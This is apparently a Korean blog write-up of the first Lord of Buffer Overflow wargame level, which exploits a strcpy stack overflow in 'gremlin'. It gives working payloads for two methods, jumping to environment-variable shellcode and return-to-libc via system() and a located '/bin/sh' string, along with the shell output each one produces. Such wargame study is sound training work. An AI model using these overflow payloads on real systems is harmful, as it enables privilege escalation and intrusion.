[gate@localhost gate]$ bash2
[gate@localhost gate]$ cat gremlin.c
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256]; //버퍼 256bytes 선언
if(argc < 2){ //인자가 2개이상 안들어간다면 종료
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]); //argv[1]의 문자열을 buffer에 복사하지만 길이를 체크하지 않아서 취약하다.
printf("%s\n", buffer);
}
보호기법이 하나도 없으므로 2가지 방법으로 풀어 보았다.
1.환경변수이용
환경변수에 shellcode라는 이름의 쉘코드를 설정해준다.
[gate@localhost /tmp]$ cat myenv.c
#include <stdio.h>
int main(int argc, char* argv[]){
char *addr;
if(argc<2)
{
printf("Usage: \n%s <env name>\n", argv[0]);
exit(1);
}
addr = getenv(argv[1]);
if(addr == NULL)
{
printf("env value doesn't exist.\n", argv[1]);
exit(1);
}
printf("%s is at %p\n", argv[1], addr);
return 0;
}
그리고 위와같이 환경변수의 시작주소값을 알 수 있는 간단한 프로그램을 짠다.
※ %p 서식 문자 주소값
[gate@localhost gate]$ bash2
[gate@localhost gate]$ /tmp/myenv shellcode
shellcode is at 0xbfffff2a
쉘코드의 시작주소는 위와 같다. 스택보다 높은 메모리주소에 위치하는걸로 보인다.
<<(메모리낮은주소)----buffer(256bytes)+sfp(4bytes)+ret(4bytes)<--ret주소를 쉘코드의 시작주소로 바꾸면 된다.----(높은주소)>>
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*260+"\x2a\xff\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒*▒▒▒
bash$ whoami
gremlin
bash$ ls
ls: .: Permission denied
bash$ my-pass
euid = 501
hello bof world
2.RTL기법
[gate@localhost gate]$ cp gremlin gremlin1
[gate@localhost gate]$ ls
gremlin gremlin.c gremlin1
[gate@localhost gate]$ gdb ./gremlin1
(gdb) r
Starting program: /home/gate/./gremlin1
argv error
Program exited normally.
(gdb) p system
Cannot access memory at address 0x40058ae0
대부분의 c프로그램은 libc와같은 라이브러리가 메모리에 로드되는데 그안에서 필요한 함수를 사용한다.
그중에서 가장 유용하게 사용할 수 있는 system()함수의 주소를 gdb로 구한다. 주소는 0x40058ae0이라는 것을 알 수 있다.
system()함수는 내부적으로 어떤 명령을 실행시키기 위해 /bin/sh을 실행시키고 이를 통해
원하는 명령을 실행시키는 것에 착안하여 system()함수 코드 내부 어딘가에 /bin/sh 문자열이
존재할 것임을 추측할 수 있다. 그 문자열의 위치값을 얻어서 그 주소를 직접 사용할 것이다.
[gate@localhost /tmp]$ vi findsh.c
#include <stdio.h>
#include <string.h>
int main(){
long start;
start = 0x40058ae0;
while(memcmp((void *)start, "/bin/sh", 8)){
start++;
}
printf("/bin/sh: %p\n", start);
}
~
"findsh.c" 13L, 181C written
[gate@localhost /tmp]$ ./findsh
/bin/sh: 0x400fbff9
system함수는 ebp+8값을 인자로 사용한다.
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*260+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒@▒▒▒▒▒@
bash$ PuTTY
sh: PuTTY: command not found
bash$ whoami
gremlin
참고
call func() = push eip(RET backup) + jmp func()
에필로그
leave = mov esp, ebp/pop ebp
'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글
06.lob wolfman->darkelf (0) | 2018.01.08 |
---|---|
05.lob orc->wolfman (0) | 2018.01.07 |
04.lob goblin->orc (0) | 2018.01.06 |
03.lob cobolt->goblin (0) | 2018.01.05 |
02.lob gremlin->cobolt (0) | 2018.01.05 |